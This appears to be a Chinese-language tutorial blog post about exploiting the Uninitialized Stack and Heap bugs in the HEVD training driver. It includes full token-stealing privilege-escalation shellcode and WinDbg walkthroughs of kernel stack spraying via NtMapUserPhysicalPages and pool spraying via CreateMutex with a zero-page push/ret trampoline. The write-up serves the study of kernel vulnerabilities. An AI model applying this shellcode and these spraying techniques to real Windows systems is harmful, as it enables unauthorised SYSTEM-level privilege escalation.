作者:k0shl
来源:http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html

0x00 前言

我是菜鸟,大牛们请喷T.T

HEVD是HackSys的一个Windows的训练项目,是一个存在漏洞的内核的驱动,里面存在多个漏洞,通过ControlCode控制漏洞类型,这个项目的驱动里几乎涵盖了内核可能存在的所有漏洞,从最基础的栈溢出,到池溢出,释放后重用等等类型,是一个非常好的项目。非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等。

项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

项目可以通过WDK的build方法直接编译,详细编译方法可以看《0day安全:软件漏洞分析技术》中内核漏洞章第一节内容有介绍,也可以百度直接搜到,通过build方法可以编译出对应版本的驱动.sys,然后通过osrloader工具注册并加载,之后就可以通过Demo来进行调试和提权了。

在这个项目中包含了两种漏洞类型,叫做Uninitialized Stack和Uninitialized Heap,分别是未初始化的栈和未初始化的堆,具体的漏洞形成原因可以通过阅读HEVD项目的源码和说明了解。大致漏洞形成的原因就是在驱动没有对结构体进行初始化,从而导致可以通过提前覆盖内核堆栈的方法控制关键结构体,在没有进行初始化和结构体内容检查的情况下,直接引用结构体的函数指针,最后可以通过提前覆盖的方法控制结构题的函数指针,跳转到提权shellcode,来完成提权。

这篇文章的内容不再分析漏洞成因,成因都非常简单,我将就几方面内容和大家一起分享一下学习成果,第一部分将分享一下HEVD项目中通用的提权shellcode,第二部分将跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages进行kernel stack spray的方法,第三部分我将分享一下HEVD中的一个challenge,是关于未初始化堆空间利用的方法。

HEVD项目中,不仅提供了包含漏洞的驱动源码,还包含了对应利用的Exploit,但是在Uninitialized Heap漏洞中提出了一个challenge。

下面我们一起来开始今天的学习之旅吧!

0x01 privilege Escalation Shellcode

关于提权的shellcode方法有很多,看过我之前对于CVE-2014-4113分析的小伙伴一定对替换token的这种方法比较熟悉,在我的那篇分析里,利用替换token这种shellcode是用C来实现的,当然,还有其他方法,比如将ACL置NULL这种方法,今天我还是给大家一起分享一下替换token这种方法,这种方法非常好用也非常常用,HEVD中替换shellcode的方法,是用内联汇编完成的。

VOID TokenStealingPayloadWin7Generic() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state
    }
}

这种方法,首先会通过fs段寄存器获取_KTHREAD结构题,fs段寄存器存放了关于线程的各种信息,当处于内核态时,fs的值为0x30,处于用户态时fs值则为0x3b

kd> p

01352782 57              push    edi

kd> p

01352783 60              pushad

kd> p

01352784 33c0            xor     eax,eax

kd> p

01352786 648b8024010000  mov     eax,dword ptr fs:[eax+124h]

kd> dd 0030:00000124

0030:00000124  859615c0

随后获取到KTHREAD之后,我们可以获取到EPROCESS结构,这个结构中包含了PID等信息,最为关键的是,在内核中是以链表存放的,而这个链表就在_EPROCESS结构中。

kd> dd 859615c0+50

85961610  85a5e538 09000000 00000000 00000000

85961620  00000000 00000037 01000002 00000000

85961630  85961680 82936088 82936088 00000000

85961640  002e5ef3 00000000 7ffdd000 00000000

85961650  006a0008 00000000 859616c8 859616c8

85961660  6751178a 0000006e 00000000 00000000

85961670  00000000 00000000 00000060 82972b00

85961680  859617fc 859617fc 859615c0 843b0690

kd> dt _EPROCESS 85a5e538

ntdll!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER 0x1d27c2c`295b0eb9

   +0x0a8 ExitTime         : _LARGE_INTEGER 0x0

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : 0x00000c64 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]

一旦获取了EPROCESS结构,我们能做很多事情,最简单的,观察偏移0xb4位置,存放着当前进程的PID,而0xb8位置,存放着一个LIST_ENTRY结构,这个结构存放着前面一个EPROCESS和后一个EPROCESS,这就很有意思了。

我可以通过这种方法,遍历当前系统所有存在的EPROCESS,而且能够找到System的EPROCESS,实际上,这个_EPROCESS,我们通过Windbg的!process 0 0的方法可以获取到。

kd> dt _LIST_ENTRY 841bdad0+b8

urlmon!_LIST_ENTRY

 [ 0x84e64290 - 0x8294a4f0 ]

   +0x000 Flink            : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]

   +0x004 Blink            : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]



kd> dd 841bdad0+b8

841bdb88  84e64290 8294a4f0 00000000 00000000

841bdb98  00000000 00000000 0000000d 8293db40

841bdba8  00000000 00644000 00246000 00000000

841bdbb8  00000000 00000000 00000000 87a01be8

841bdbc8  87a0130b 00000000 00000000 00000000

841bdbd8  00000000 00000000 841de2e0 00000000

841bdbe8  00000005 00000040 00000000 00000000

841bdbf8  00000000 00000000 00000000 00000000

kd> dt _EPROCESS 84e64290-b8

ntdll!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER 0x1d27bbd`9fafafa2

   +0x0a8 ExitTime         : _LARGE_INTEGER 0x0

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : 0x00000100 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]

回到shellcode,后面有一个loop循环,在循环中做的事情就是不断通过链表的前向指针和后向指针找到System的_EPROCESS结构,也就是+0xb4位置的PID为4的结构,在结构中存放着token,只要找到System的token,替换掉当前进程的token,就可以完成提权了。

0x02 NtMapUserPhysicalPages and Kernel Stack Spray

在下面的调试中,由于我多次重新跟踪调试,所以每次申请的shellcode指针地址都不太一样,但不影响理解。

在HEVD项目中涉及到一种方法,可以进行Kernel Stack Spray,其实在内核漏洞中,未初始化的堆栈这种漏洞相对少,而且在Windows系统中内核堆栈不像用户态的堆栈,是共用的一片空间,因此如果使用Kernel Stack Spray是有一定风险的,比如可能覆盖到某些其他的API指针。在作者博客中也提到这种Kernel Stack Spray是一种比较冷门的方法,但也比较有意思。这里我就和大家一起分析一下,利用NtMapUserPhysicalPages这个API完成内核栈喷射的过程。

为什么要用NtMapUserPhysicalPages,别忘了我们执行提权Exploit的时候,是处于用户态,在用户态时使用的栈地址是用户栈,如果我们想在用户态操作内核栈,可以用这个函数在用户态来完成对内核栈的控制。

j00ru博客对应内容文章地址:http://j00ru.vexillium.org/?p=769

首先我们触发的是Uninitialized Stack这个漏洞,在触发之前,我们需要对内核栈进行喷射,这样可以将shellcode函数指针覆盖到HEVD.sys的结构体中。用到的就是NtMapUserPhysicalPages这个方法。

这个方法存在于ntkrnlpa.exe中,也就是nt!NtMapUserPhysicalPages,首先到达这个函数调用的时候,进入内核态,我们可以通过cs段寄存器来判断,一般cs为0x8时处于内核态,为0x1b时处于用户态。

kd> r cs

cs=00000008



kd> r

eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0

eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0         nv up ei ng nz ac po nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000292

在此之前,内核栈的情况如下图:

注意esp和ebp,现在处于内核栈中,这时候,我们可以通过对内核栈下写入断点,这样在向栈写入数据,也就是栈喷射时会中断。

kd> g

nt!memcpy+0x33:

82882393 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,在nt!memcpy中断,这时候执行的是一处拷贝操作,这时候通过kb查看一下堆栈回溯。

kd> kb

ChildEBP RetAddr  Args to Child              

94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33

94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f

94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e

94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall

可以看到,函数的调用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray -> memcpy,来看一下这个过程的函数实现,首先是nt!NtMapUserPhysicalPages

NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)

  if ( (unsigned int)NumberOfPages > 0xFFFFF )

    return -1073741584;

  BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;

  v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;

  if ( v33 <= BaseAddressa )

    return -1073741584;

  v4 = &P;//栈地址

  v39 = 0;

  v37 = &P;

  if ( PageFrameNumbers )

  {

    if ( !NumberOfPages )

      return 0;

    if ( (unsigned int)NumberOfPages > 0x400 )//如果要超过1024,就要扩展池,不过这里不用

    {

      v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);

      v37 = v4;

      if ( !v4 )

        return -1073741670;

    }

    v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned int)PageFrameNumbers, v4);//v4 要拷贝的目标 内核栈  a2,要覆盖的EoPBuffer  长度是4*NumberOfPages

对应的注释已经标记,在函数中调用了MiCaptureUlongPtrArray,会将传入NtMapUserPhysicalPages的参数,长度也就是NumberOfPages,内容也就是PageFrameNumbers(详情请参考Exploit中的UninitializedStackVariable.c),然后进入MiCaptureUlongPtrArray。

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)

{

  size_t v3; // ecx@1



  v3 = 4 * a1;

  if ( v3 )

  {

    if ( a2 & 3 )

      ExRaiseDatatypeMisalignment();

    if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )

      *(_BYTE *)MmUserProbeAddress = 0;

  }

  memcpy(a3, (const void *)a2, v3);

  return 0;

}

进入后,会将shellcode的内容拷贝到a3,也就是&P,内核栈中。

kd> p

nt!memcpy+0x35:

82882395 ff2495ac248882  jmp     dword ptr nt!memcpy+0x14c (828824ac)[edx*4]

kd> dd 94d139e4

94d139e4  00c62800 00c62800 00c62800 00c62800

94d139f4  00c62800 00c62800 00c62800 00c62800

94d13a04  00c62800 00c62800 00c62800 00c62800

94d13a14  00c62800 00c62800 00c62800 00c62800

94d13a24  00c62800 00c62800 00c62800 00c62800

memcpy之后,可以看到栈地址空间被喷射上了shellcode的指针,接下来触发漏洞,关于触发的原理阅读HEVD.sys源码很清晰,这里不详细介绍,大致就是当传入的UserValue,和漏洞的MagicValue不一样的情况下,就可以引发未初始化变量。

kd> p

HEVD+0x2cac:

95327cac 8b95ecfeffff    mov     edx,dword ptr [ebp-114h]



kd> dd ebp-114

8c1f1994  baadf00d 01342800 01342800 01342800

8c1f19a4  01342800 01342800 01342800 01342800

8c1f19b4  01342800 01342800 01342800 01342800

8c1f19c4  01342800 01342800 01342800 01342800

8c1f19d4  01342800 01342800 01342800 01342800

8c1f19e4  01342800 01342800 01342800 01342800

8c1f19f4  01342800 01342800 01342800 01342800

在进入HEVD的Trigger函数之后,可以看到此时内核栈已经被覆盖,这时候UserValue的值,也就是我们可控的值是baadf00d,随后看一下StackVariable结构体的内容。

kd> p

HEVD+0x2ccc:

95327ccc e853d8ffff      call    HEVD+0x524 (95325524)

kd> r eax

eax=8c1f1998

kd> dd 8c1f1998

8c1f1998  01342800 01342800 01342800 01342800

8c1f19a8  01342800 01342800 01342800 01342800

8c1f19b8  01342800 01342800 01342800 01342800

8c1f19c8  01342800 01342800 01342800 01342800

随后会对UserValue和MagicValue进行比较。

kd> p

HEVD+0x2cda:

95327cda 3b4de0          cmp     ecx,dword ptr [ebp-20h]

kd> p

HEVD+0x2cdd:

95327cdd 7516            jne     HEVD+0x2cf5 (95327cf5)

kd> r ecx

ecx=baadf00d

kd> dd ebp-20

8c1f1a88  bad0b0b0

UserValue是baadf00d,而HEVD.sys的MagicValue的值是bad0b0b0,不相等的情况下,不会对之前的StackVariable结构体中的成员变量初始化,而此时成员变量的值都被shellcode覆盖,最后引用,导致在内核态进入shellcode。

kd> p

HEVD+0x2d33:

95327d33 ff95f4feffff    call    dword ptr [ebp-10Ch]



kd> dd ebp-10c

8c1f199c  01342800



01342800 55              push    ebp

01342801 8bec            mov     ebp,esp

01342803 83e4f8          and     esp,0FFFFFFF8h

01342806 83ec34          sub     esp,34h

01342809 33c0            xor     eax,eax

0134280b 56              push    esi

0134280c 33f6            xor     esi,esi

最后在内核态执行shellcode,替换当前进程token为System token,完成提权。

0x03 Uninitialized Stack & Heap

最后就是关于这次challenge了,其实这个challenge非常好理解,如果做过浏览器或者其他跟堆有关漏洞的小伙伴肯定第一时间想到的就是Heap Spray,没错,堆喷!

利用内核堆喷,我们可以完成对堆结构的控制,最后完成提权,在文章最后,我放一个我修改了UninitializedHeapVariable对应Exploit内容的项目地址,可以利用我的这个项目地址完成提权。

但是,内核堆喷和应用层的堆喷不太一样,要解决两个问题,第一个shellcode放在哪里,第二个如何在用户态向内核堆进行喷射。

解决问题的关键在于NtAllocateVirtualMemory和CreateMutex,首先NtAllocateVirtualMemory对于内核熟悉的小伙伴肯定不会陌生,看过我前面两篇内核调试学习的小伙伴也不会陌生,在很多内核漏洞利用场景中,都会用到这个函数,这个函数可以用来申请零页内存,来完成shellcode的布局。

如何布局是一个问题,这里来看一下漏洞触发位置的调用。

92319abd 83c408          add     esp,8

92319ac0 8b4ddc          mov     ecx,dword ptr [ebp-24h]

92319ac3 8b5104          mov     edx,dword ptr [ecx+4]

92319ac6 ffd2            call    edx {00460046}

如果我们能够控制edx的话,这里调用的就是刚才通过NtAllocateVirtualMemory申请的内存,这里可以直接往这里面存放shellcode,可是我从老外那学到了一种方法,就是获取shellcode的函数入口指针,然后这里存放68+addr+c3的组合,这样call调用后,执行的内容就是。

kd> t

00640066 68b0141401      push    11414B0h

kd> p

0064006b c3              ret

这样,相当于将shellcode入口指针入栈,esp变成shellcode指针,然后ret,之后就会跳转到shellcode中执行shellcode,这样对于NtAllocateVirtualMemory布局操作就简单很多。

这样,我们只需要申请一个零页空间就行了。

kd> dd 00460046

00460046  35278068 0000c301

布置上我们的push shellcode addr;ret

然后就是关键的CreateMutex,这个会创建互斥体,我们申请多个互斥体,完成对堆的布局。

kd> p

KernelBase!CreateMutexA+0x19:

001b:75961675 e809000000      call    KernelBase!CreateMutexExA (75961683)

kd> dd esp

0099e73c  00000000 0099f788 00000001 001f0001

0099e74c  0099f81c 0110320e 00000000 00000001

0099e75c  0099f788 9c1c5b57 00000000 00000000

0099e76c  00000000 00000000 00000000 00000000

0099e77c  00000000 00000000 00000000 00000000

0099e78c  00000000 00000000 00000000 00000000

0099e79c  00000000 00000000 00000000 00000000

0099e7ac  00000000 00000000 00000000 00000000



kd> dc 99f788

0099f788  46464646 67716870 656d7568 6e6c7961  FFFFphqghumeayln

0099f798  7864666c 63726966 78637376 77626767  lfdxfircvscxggbw

0099f7a8  716e666b 77787564 6f666e66 7273767a  kfnqduxwfnfozvsr

0099f7b8  706a6b74 67706572 70727867 7976726e  tkjprepggxrpnrvy

0099f7c8  776d7473 79737963 70716379 6b697665  stmwcysyycqpevik

0099f7d8  6d666665 6d696e7a 73616b6b 72737776  effmznimkkasvwsr

0099f7e8  6b7a6e65 66786379 736c7478 73707967  enzkycxfxtlsgyps

0099f7f8  70646166 00656f6f 9c1c5b57 0099e760  fadpooe.W[..`...

申请多个互斥体后,可以看到对池空间的控制。可以看到,第一个参数是mutexname,这个前面必须包含46,这样才能进行函数调用后,在pool中覆盖到00460046的值。

kd> r eax

eax=a6630b38

kd> !pool a6630b38

Pool page a6630b38 region is Paged pool

 a6630000 size:  100 previous size:    0  (Allocated)  IoNm

 a6630100 size:    8 previous size:  100  (Free)       0.4.

 a6630108 size:  128 previous size:    8  (Allocated)  NtFs

 a6630230 size:    8 previous size:  128  (Free)       Sect

 a6630238 size:   18 previous size:    8  (Allocated)  Ntf0

 a6630250 size:   38 previous size:   18  (Allocated)  CMVa

 a6630288 size:   68 previous size:   38  (Allocated)  FIcs

 a66302f0 size:   f8 previous size:   68  (Allocated)  ObNm

 a66303e8 size:  138 previous size:   f8  (Allocated)  NtFs

 a6630520 size:  100 previous size:  138  (Allocated)  IoNm

 a6630620 size:  128 previous size:  100  (Free)       ObNm

 a6630748 size:   68 previous size:  128  (Allocated)  FIcs

 a66307b0 size:  380 previous size:   68  (Allocated)  Ntff

*a6630b30 size:   f8 previous size:  380  (Allocated) *Hack

        Owning component : Unknown (update pooltag.txt)

这里a6630b30中包含了8字节的pool header,和0xf0的nopage pool,通过CreateMutex,我们会对kernel pool占用。


kd> dd a6630b38

a6630b38  00000000 00460046 00780069 00620074

a6630b48  0074006b 00770065 00630071 006a0078

a6630b58  00740065 00720063 00730061 006a007a

a6630b68  006e0065 00790070 006a0064 00680061

a6630b78  00710067 00660072 006c007a 0079006f

a6630b88  007a0075 0068006f 00760074 006a0078

a6630b98  006b0063 00730073 00750064 00770077

可以看到,现在头部结构已经被00460046占用,接下来,还是由于UserValue和MagicValue的原因,引发Uninitialized Heap Variable。

kd> g

Breakpoint 1 hit

HEVD+0x299e:

9231999e ff1598783192    call    dword ptr [HEVD+0x898 (92317898)]

kd> p

HEVD+0x29a4:

923199a4 8945dc          mov     dword ptr [ebp-24h],eax

kd> dd eax

889f8610  00000000 00460046 00780069 00620074



kd> dd 00460046

00460046  35278068 0000c301

随后由于池中结构体的内容未初始化,内核池中存放的还是我们通过CreateMutex布置的内容,直接引用会跳转到我们通过NtAllocateVirtualMemory申请的空间。

kd> p

HEVD+0x2ac0:

95327ac0 8b4ddc          mov     ecx,dword ptr [ebp-24h]

kd> p

HEVD+0x2ac3:

95327ac3 8b5104          mov     edx,dword ptr [ecx+4]

kd> r ecx

ecx=a86c5580

kd> p

HEVD+0x2ac6:

95327ac6 ffd2            call    edx

kd> t

00460046 68b0141401      push    11414B0h

kd> p

0064006b c3              ret

kd> p

011414b0 53              push    ebx





011414b0 53              push    ebx

011414b1 56              push    esi

011414b2 57              push    edi

011414b3 60              pushad

011414b4 33c0            xor     eax,eax

011414b6 648b8024010000  mov     eax,dword ptr fs:[eax+124h]

011414bd 8b4050          mov     eax,dword ptr [eax+50h]

011414c0 8bc8            mov     ecx,eax

随后push shellcode之后,esp的值被修改,直接ret会跳转到shellcode address,执行提权。

最后我贴上更新后的项目代码。

https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:http://paper.seebug.org/200/